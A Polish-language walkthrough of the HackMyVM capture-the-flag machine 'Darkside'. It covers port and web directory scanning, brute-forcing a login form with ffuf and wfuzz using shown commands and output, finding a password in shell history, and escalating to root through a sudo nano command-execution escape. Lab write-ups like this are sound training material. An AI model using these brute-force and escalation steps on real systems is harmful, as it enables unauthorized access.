Darkside - boyras200

00. Metainfo

Nazwa: Darkside
Autor: boyras200
Wypuszczony: 2023-10-30
Ściągnij: HackMyVM
Poziom: Łatwy
System: Linux
Nauczysz się: WWW, bruteforce

01. Wstęp

Darkside jest pierwszą maszyną od boyras200. Jest to bardzo prosta maszynka, ale wg mnie jest to bardzo udany debiut. Wystarczą do niej proste narzędzia i proste polecenia, więc lecimy…

02. Skanowanie otwartych portów

Na początek zarzućmy skanowanie portów:

[*] Workspace: hmv-darkside
msf6 > db_nmap 172.16.1.117
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 18:22 CET
[*] Nmap: Nmap scan report for darkside.lan (172.16.1.117)
[*] Nmap: Host is up (0.00082s latency).
[*] Nmap: Not shown: 998 closed tcp ports (reset)
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 22/tcp open  ssh
[*] Nmap: 80/tcp open  http
[*] Nmap: MAC Address: 08:00:27:7E:B0:2A (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

02. Skanowanie zasobów na WWW

Poskanujmy WWW programem Feroxbuster:

root@kali2023:~# feroxbuster -u http://172.16.1.117

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.16.1.117
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       74l      300w     2121c http://172.16.1.117/styles.css
200      GET       29l       45w      683c http://172.16.1.117/
301      GET        9l       28w      313c http://172.16.1.117/backup => http://172.16.1.117/backup/
200      GET       10l       36w      205c http://172.16.1.117/backup/vote.txt
[####################] - 16s    30003/30003   0s      found:4       errors:0      
[####################] - 16s    30000/30000   1904/s  http://172.16.1.117/ 
[####################] - 0s     30000/30000   4285714/s http://172.16.1.117/backup/ => Directory listing  

Zostały znalezione dwie ciekawe pozycje: http://172.16.1.117/backup/ i http://172.16.1.117/backup/vote.txt, ale wcześniej wejdźmy na główną stronę:

www Niestety, admin/admin nie działa ;) Trzeba próbować dalej…

03. Użytkownik kevin

rijaba: Yes xerosec: Yes sml: No cromiphi: No gatogamer: No chema: Yes talleyrand: No d3b0o: Yes Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.

Z notatki backup/vote.txt się dowiadujemy, że prawdopodobnie użytkownikiem, którym powinniśmy działać jest kevin, ale dla pewności wpiszmy wszystkich, których znaleźliśmy do pliku userzy.txt.

04. Ffuf i Wfuzz

Skoro znamy login, spróbujmy znaleźć i hasło. Do tego na użyłem programu Ffuf, ale na początku źle mi działał z dwoma parametrami. Coś mi się nie zgadzało, ogromne słowniki nic nie znalazły. Okazało się, że trzeba było w Ffuf podczas skanowania dopisać dodatkowy parametr -H z nagłówkiem i wtedy poszło. Natomiast we Wfuzz wszystko działało zgodnie z oczekiwaniem, bez żadnych dodatkowych kombinacji. Do obu skanerów użyłem słownika /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt. A do pliku userzy.txt wrzuciłem użytkowników z listy. Podaje dwie metody skanowania: Ffuf i Wfuzz.

ffuf -H "Content-Type: application/x-www-form-urlencoded" -fs=745 -w userzy.txt:PAR1 -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt:PAR2  -d 'user=PAR1&pass=PAR2' -u http://172.16.1.117/index.php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://172.16.1.117/index.php
 :: Wordlist         : PAR1: /tmp/userzy.txt
 :: Wordlist         : PAR2: /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : user=PAR1&pass=PAR2
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 745
________________________________________________

[Status: 302, Size: 683, Words: 162, Lines: 30, Duration: 1ms]
    * PAR1: kevin
    * PAR2: iloveyou

:: Progress: [9000/9000] :: Job [1/1] :: 91 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

real    0m4,298s
user    0m3,633s
sys     0m1,097s
wfuzz -w userzy.txt -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -d 'user=FUZZ&pass=FUZ2Z' -u http://172.16.1.117/index.php --hh 745
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.16.1.117/index.php
Total requests: 9000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000008050:   302        29 L     45 W       683 Ch      "kevin - iloveyou"                                                           

Total time: 6.460363
Processed Requests: 9000
Filtered Requests: 8999
Requests/sec.: 1393.110


real    0m6,985s
user    0m6,413s
sys     0m1,453s

Ffuf był szybszy od Wfuzz, jednak do Ffuf trzeba było dodać dodatkowy parametr z nagłówkiem -H. Jak można było zauważyć, mamy login i hasło do strony.

05. Zabawa z rozkodowaniem

Dalej jest prosta zabawa ze zgadywaniem haseł. Jest to takie proste, że nie będę zabierał przyjemności z przejścia. Kombinujemy, aż na ekranie pokaże się login i hasło do SSH.

www

06. SSH

Mam nadzieję, że doszliście do etapu, gdzie na stronie zostało podane login i hasło. Po zalogowaniu się na konsolę jest pierwsza nagroda w pliku users.txt. Jednak idźmy dalej. Patrzymy historie, a w niej ciekawe rzeczy: login i hasło do konta rijaba

kevin@darkside:~$ cat .history 
ls -al
hostname -I
echo "Congratulations on the OSCP Xerosec"
top
ps -faux
su rijaba
ILoveJabita
ls /home/rijaba

07. rijaba

Użytkownik rijaba ma dostęp do programu Nano (Nie wiem po co w realnym świecie, ktoś miałby mu to dawać, ale to nieważne ;), ale dostęp jest.

rijaba@darkside:/home/kevin$ sudo -l
Matching Defaults entries for rijaba on darkside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rijaba may run the following commands on darkside:
    (root) NOPASSWD: /usr/bin/nano
rijaba@darkside:/home/kevin$ 

A jak wiadomo przez Nano można uruchamiać różne programy, w tym Bash. Sztuczka polega na tym, że w programie odczytujemy plik ^R, i zamiast podać ścieżkę do pliku, uruchamiamy komendę uruchamiającą, czyli ^X. Następnie w “Command to execute:” wpisujemy reset;

08. root

sudo /usr/bin/nano

Alt text

Alt text

Jest i root :)

Zostaw komentarz